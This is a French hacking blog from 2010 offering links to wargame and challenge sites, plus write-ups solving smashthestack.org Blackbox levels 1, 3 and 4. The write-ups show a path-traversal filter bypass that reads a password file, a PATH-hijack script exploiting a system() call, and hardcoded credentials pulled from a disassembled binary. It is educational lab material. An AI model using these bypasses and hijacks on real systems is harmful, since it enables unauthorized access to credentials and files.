jeudi 21 octobre 2010

Hacking : How to get up to the top?

Salut!

Beaucoup de personnes doivent se demander comment évoluer en hacking ou en sécurité informatique?

Sur IRC il n'est pas rare de voir des nouveaux demander : "Comment on commence à hacker?", question qui a l'air futile mais qui est semble toute réelle. Ce qu'on ne nous dit pas quand on commence que le hacking est une aventure de longue haleine, c'est de la recherche, de la patience, de la passion et beaucoup d'autres choses (en plus de la bière ;)). Ca on le découvre nous mêmes après tout et c'est assez jouissif quand on arrive à faire certaines choses et qu'on atteint nos objectifs.

Je me suis posé cette question d'innombrable fois, c'est assez frustrant car on connaît déjà la réponse mais nous manquons cruellement de temps ou nous sommes atteints de flémmingites aigues.
Je mets ici quelques liens que j'ai trouver assez sympa pour évoluer dans le domaine du hacking et/ou de la sécurité informatique.
Je ne serais tenu responsable des actions que vous tireriez des connaissances que vous aurez acquis de ces liens ;).

Wargames
http://wargame.nuitduhack.com/
http://www.smpctf.com/
http://www.intruded.net/
http://www.smashthestack.org/
http://www.overthewire.org/wargames/

Challenges
http://www.honeynet.org/
http://www.crackmes.de/

Documentation
http://secdocs.lonerunners.net/
www.phrack.org
www.defcon.org
www.blackhat.org
www.hackinthebox.org
www.ccc.de
www.thc.de
Mirroirs MadChat
http://www.corelan.be:8800/

Divers
http://www.intern0t.net/
http://www.woodmann.com/
www.google.fr (on trouve tout de tout ;))
http://www.deamoncrack.fr.st/

C'est loin d'être une liste exhaustive de bonnes sources d'information, cherchez avec Google et vous trouverez d'autres perles ;).
Au pire, n'hésitez pas à venir m'attraper (ou quelqu'un d'autre) sur IRC tout en montrant que vous faites des efforts :).

J'ai aussi quelques conseils (à prendre avec des pincettes vu le débutant que je suis :p) :
- s'amuser
- s'accrocher
- lire, lire, lire
- pratiquer, pratiquer, pratiquer
- chercher, chercher, chercher, CHERCHER

Et je finis avec "l'infameuse" doc' de Eric S. Raymond : How to become a hacker . Il y a une partie de vrai mais ne pas tout prendre au sens propre.


Nous avons TOUJOURS des choses à apprendre et chaque jour apporte son lot de nouveautés. Chaque personne avance à sa vitesse, l'important est d'avoir du FUN et de s'AMUSER.
Le hacking c'est du boulot mais c'est aussi du fun ;).

Voilà pour aujourd'hui,

Have phun,

m_101

dimanche 3 octobre 2010

[Wargame] Blackbox at smashthestack.org : level 4

Oh déjà le level4? :)

C'est la bonne surprise que j'ai eu. Ce n'est pas un challenge orienté applicatif mais plus web (enfin à mon sens) :).

Voilà le code du level :
#include <iostream>
#include <fstream>
#include <string>


std::string strreplace(const char *msg, const char *replace, const char *with)
{
 std::string ret;

 while(*msg) {
  if(strncmp(msg, replace, strlen(replace)) == 0) {
   ret += with;

   // Skip all in msg until we have another match
   msg++;
   for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
    if(strncmp(msg, replace, strlen(replace)) == 0)
     break;
    msg++;
   }

   continue;
  } else
   ret += *msg;
  msg++;
 }

 return ret;
}

int main(int argc, char **argv)
{
 if(argc < 2) {
  std::cout << "This program allows you to read files from my shared files. See /usr/share/level5 for my shared files. Simply use the path relative to my shared files to read a file!" << std::endl;
  std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" << std::endl;
  return 1;
 }

 std::string start_path = "/usr/share/level5/";
 std::string relative_path = "";
 char *ptr;

 ptr = argv[1];
 while(*ptr == '/' || *ptr == '.')
  ptr++;

 relative_path = strreplace(ptr, "/../", "");
 relative_path = strreplace(relative_path.c_str(), "/./", "");

 std::string realpath = start_path + relative_path;

 std::cout << "Contents of " << realpath << ":" << std::endl;

 std::ifstream file(realpath.c_str(), std::ios::in);
 if(!file.is_open()) {
  std::cerr << "Unable to open file" << std::endl;
  return 1;
 }

 std::string cline;

 while(!file.eof()) {
  std::getline(file, cline);
  std::cout << cline << std::endl;
 }

 return 0;
}
Ici on a accès à un système de lecture de fichier "partagés". On peut voir qu'il y a un système de filtrage mis en place.
Les "/../" et "/./" sont filtrés et celà ne permet pas (à priori) de lire un fichier arbitraire via un path traversal.

En analysant le code, voilà ce que le programme fait :
- On récupère un chemin venant de l'utilisateur
- On enlève tous les '/' et '.' en début de la chaine soumise par l'utilisateur
- On filtre les "/../" puis "/./"

Ce qu'on va attaquer est donc la fonction de filtrage : strreplace().
Il y a 2 problêmes dans son utilisation :
- "/../" est filtré avant "/./", en effet si on filtrait "/./" en premier, ça serait plus difficile à bypasser
- la fonction strreplace() ne fait pas le remplacement des chaînes de manières recursive, il est donc possible de les reconstruire si crafté correctement

Et là ça me fait étrangement penser aux failles de filtrage qu'on peut voir sur certaines applications web :
- filtre sur <script> : <scri<script>pt>, après filtrage on re-obtient <script> si filtrage non récursif.

On va ici utiliser le même principe, on veut reconstruire "/../". Pour celà il suffit d'injecter des chaînes comme "/./.././", après filtrage "/../" sera reconstruit.

Essayons :
level4@blackbox:~$ ./shared lyrics/./../././../././../././.././home/level5/password
Contents of /usr/share/level5/lyrics/../../../../home/level5/password:
Traveller

Pawn ;).

m_101

[Wargame] Blackbox at smashthestack.org : level 3 (system)

Passons maintenant au level 3.

Voilà le code de celui-ci :
#include 
#include 

int main(int main, char **argv)
{
 std::string command;
 std::string program;

 std::cout << "Enter the name of the program: ";
 std::cin >> program;

 for(unsigned int i = 0; i < program.length(); i++) {
  if(strchr(";^&|><", program[i]) != NULL) {
   std::cout << "Fatal error" << std::endl;
   return 1;
  }
 }


 // Execute the command to list the programs
 command = "/bin/ps |grep ";
 command += program;
 system(command.c_str());

 return 0;
}
Ici en regardant la commande executée on aurait tendance à penser à une injection de commande Unix de manière directe. Mais plus haut on voit un filtre contre celà. Il nous reste la possibilitée de faire usage de la faille system(), en effet, sous les Unixoides, l'emplacement des exécutables est défini grâce à la variable PATH. Il nous suffit de modifier cette variable et y mettre un script ou programme avec le nom qui va bien. Notre script :
#!/bin/sh

cat /home/level4/password

Il n'y a plus qu'à modifier la variable PATH comme il faut ;).

m_101

[Wargame] Blackbox at smashthestack.org : level 1 (login)

Hello!

Enfin de retour sur Internet après quelques semaines d'absence :).
Je me suis remis à faire des challenges et je vais ici parler d'un wargame qui m'a
bien plu : http://blackbox.smashthestack.org:85/.
Il y a des failles classiques mais présentées d'une manière un peu plus intelligente.

Nous allons commencer par le level1 :
level1@blackbox:~$ ./login2 
Username: aa
Password: aa
Invalid username or password

A partir de là on peut déjà avoir une petite idée de ce que le programme fait,
il y a surement une utilisation d'un strcmp() ou strncmp() simple (nous somme
au level1 après tout :)).

Voyons le code ASM.

level1@blackbox:~$ gdb login2 
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disassemble main
Dump of assembler code for function main:
0x0804827a <main+0>: lea    0x4(%esp),%ecx
0x0804827e <main+4>: and    $0xfffffff0,%esp
0x08048281 <main+7>: pushl  0xfffffffc(%ecx)
0x08048284 <main+10>: push   %ebp
0x08048285 <main+11>: mov    %esp,%ebp
0x08048287 <main+13>: push   %ebx
0x08048288 <main+14>: push   %ecx
0x08048289 <main+15>: sub    $0x30,%esp
0x0804828c <main+18>: lea    0xfffffff4(%ebp),%eax
0x0804828f <main+21>: mov    %eax,(%esp)
0x08048292 <main+24>: call   0x8072ec0 <_ZNSsC1Ev>
0x08048297 <main+29>: lea    0xfffffff0(%ebp),%eax
0x0804829a <main+32>: mov    %eax,(%esp)
0x0804829d <main+35>: call   0x8072ec0 <_ZNSsC1Ev>
0x080482a2 <main+40>: movl   $0x80ffe48,0x4(%esp)
0x080482aa <main+48>: movl   $0x8130f60,(%esp)
0x080482b1 <main+55>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x080482b6 <main+60>: lea    0xfffffff4(%ebp),%eax
0x080482b9 <main+63>: mov    %eax,0x4(%esp)
0x080482bd <main+67>: movl   $0x8130ec0,(%esp)
0x080482c4 <main+74>: call   0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E>
0x080482c9 <main+79>: movl   $0x80ffe53,0x4(%esp)
0x080482d1 <main+87>: movl   $0x8130f60,(%esp)
0x080482d8 <main+94>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x080482dd <main+99>: lea    0xfffffff0(%ebp),%eax
0x080482e0 <main+102>: mov    %eax,0x4(%esp)
0x080482e4 <main+106>: movl   $0x8130ec0,(%esp)
0x080482eb <main+113>: call   0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E>
0x080482f0 <main+118>: movl   $0x80ffe5e,0x4(%esp)
0x080482f8 <main+126>: lea    0xfffffff4(%ebp),%eax
0x080482fb <main+129>: mov    %eax,(%esp)
0x080482fe <main+132>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x08048303 <main+137>: xor    $0x1,%al
0x08048305 <main+139>: test   %al,%al
0x08048307 <main+141>: jne    0x8048328 <main+174>
0x08048309 <main+143>: movl   $0x80ffe65,0x4(%esp)
0x08048311 <main+151>: lea    0xfffffff0(%ebp),%eax
0x08048314 <main+154>: mov    %eax,(%esp)
0x08048317 <main+157>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x0804831c <main+162>: xor    $0x1,%al
0x0804831e <main+164>: test   %al,%al
0x08048320 <main+166>: jne    0x8048328 <main+174>
0x08048322 <main+168>: movb   $0x1,0xffffffe7(%ebp)
0x08048326 <main+172>: jmp    0x804832c <main+178>
0x08048328 <main+174>: movb   $0x0,0xffffffe7(%ebp)
0x0804832c <main+178>: movzbl 0xffffffe7(%ebp),%eax
0x08048330 <main+182>: test   %al,%al
0x08048332 <main+184>: je     0x8048366 <main+236>
0x08048334 <main+186>: movl   $0x80ffe6e,0x4(%esp)
0x0804833c <main+194>: movl   $0x8130f60,(%esp)
0x08048343 <main+201>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x08048348 <main+206>: movl   $0x806e0c0,0x4(%esp)
0x08048350 <main+214>: mov    %eax,(%esp)
0x08048353 <main+217>: call   0x806bf10 <_ZNSolsEPFRSoS_E>
0x08048358 <main+222>: movl   $0x80ffe80,(%esp)
0x0804835f <main+229>: call   0x80b5ab0 <system>
0x08048364 <main+234>: jmp    0x804838a <main+272>
0x08048366 <main+236>: movl   $0x80ffe88,0x4(%esp)
0x0804836e <main+244>: movl   $0x8130f60,(%esp)
0x08048375 <main+251>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x0804837a <main+256>: movl   $0x806e0c0,0x4(%esp)
0x08048382 <main+264>: mov    %eax,(%esp)
0x08048385 <main+267>: call   0x806bf10 <_ZNSolsEPFRSoS_E>
0x0804838a <main+272>: lea    0xfffffff0(%ebp),%eax
0x0804838d <main+275>: mov    %eax,(%esp)
0x08048390 <main+278>: call   0x8074e40 <_ZNSsD1Ev>
0x08048395 <main+283>: jmp    0x80483ad <main+307>
0x08048397 <main+285>: mov    %eax,0xffffffdc(%ebp)
0x0804839a <main+288>: mov    0xffffffdc(%ebp),%ebx
0x0804839d <main+291>: lea    0xfffffff0(%ebp),%eax
0x080483a0 <main+294>: mov    %eax,(%esp)
0x080483a3 <main+297>: call   0x8074e40 <_ZNSsD1Ev>
0x080483a8 <main+302>: mov    %ebx,0xffffffdc(%ebp)
0x080483ab <main+305>: jmp    0x80483c5 <main+331>
0x080483ad <main+307>: lea    0xfffffff4(%ebp),%eax
0x080483b0 <main+310>: mov    %eax,(%esp)
0x080483b3 <main+313>: call   0x8074e40 <_ZNSsD1Ev>
0x080483b8 <main+318>: mov    $0x0,%eax
0x080483bd <main+323>: mov    %eax,0xffffffe0(%ebp)
0x080483c0 <main+326>: jmp    0x80483e1 <main+359>
0x080483c2 <main+328>: mov    %eax,0xffffffdc(%ebp)
0x080483c5 <main+331>: mov    0xffffffdc(%ebp),%ebx
0x080483c8 <main+334>: lea    0xfffffff4(%ebp),%eax
0x080483cb <main+337>: mov    %eax,(%esp)
0x080483ce <main+340>: call   0x8074e40 <_ZNSsD1Ev>
0x080483d3 <main+345>: mov    %ebx,0xffffffdc(%ebp)
0x080483d6 <main+348>: mov    0xffffffdc(%ebp),%eax
0x080483d9 <main+351>: mov    %eax,(%esp)
0x080483dc <main+354>: call   0x80a5180 <_Unwind_Resume>
0x080483e1 <main+359>: mov    0xffffffe0(%ebp),%eax
0x080483e4 <main+362>: add    $0x30,%esp
0x080483e7 <main+365>: pop    %ecx
0x080483e8 <main+366>: pop    %ebx
0x080483e9 <main+367>: pop    %ebp
0x080483ea <main+368>: lea    0xfffffffc(%ecx),%esp
0x080483ed <main+371>: ret    
End of assembler dump.

On peut remarquer qu'il y a des noms de fonctions étranges, non compréhensible.
Après un peu de recherche, on se rend vite compte que c'est du à un mécanisme qu'on
appelle le name mangling. Ca permet entre autre le polymorphisme. C'est donc un
bon indicateur que le language utilisé est du C++.
Vu que le programme a été compilé avec G++, on va voir comment démangleer ça.

Le tool nécessaire au demangling de noms G++ est c++filt qui est fourni dans la
suite GNU.

Par exemple :
level1@blackbox:~$ c++filt _ZNSsC1Ev
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()

La fonction que l'on cherche est l'implémentation de l'opérateur ==.

Après un peu de recherche :
level1@blackbox:~$ c++filt _ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_
bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)

On va voir que l'opérateur == est utilisé 2 fois : une fois pour le nom de l'user
et une fois pour le password.

La partie intéressante :
0x080482f0 <main+118>: movl   $0x80ffe5e,0x4(%esp)
0x080482f8 <main+126>: lea    0xfffffff4(%ebp),%eax
0x080482fb <main+129>: mov    %eax,(%esp)
0x080482fe <main+132>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x08048303 <main+137>: xor    $0x1,%al
0x08048305 <main+139>: test   %al,%al
0x08048307 <main+141>: jne    0x8048328 <main+174>
0x08048309 <main+143>: movl   $0x80ffe65,0x4(%esp)
0x08048311 <main+151>: lea    0xfffffff0(%ebp),%eax
0x08048314 <main+154>: mov    %eax,(%esp)
0x08048317 <main+157>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>

On a deux emplacement statique dans le binaire : 0x80ffe5e et 0x80ffe65.

On les extraits et on a : level2 et PassFor2. Comme vous pouvez vous en douter,
on vient de trouver l'utilisateur et le mot de passe pour le niveau suivant ;).

Pour la reconstruction du code, on doit avoir quelque chose de pas très loin de ça :
#include <iostream>
#include <string>

using namespace std;

int main (int argc, char *argv[]) {
    string username, password;

    cout << "Username: ";
    cin >> username;
    cout << endl << "Password: ";
    cin >> password;
    
    if (username == "level2" && password == "PassFor2")
        system("/bin/sh");
    else
        cout << "Invalid username or password";
    
    return 0;
}

Et voilà :).
Nous passons directement au niveau 3 vu que le niveau 2 est un simple buffer overflow (utilisez pattern_create, pattern_offset et gdb comme expliqués dans les autres articles ;)).

m_101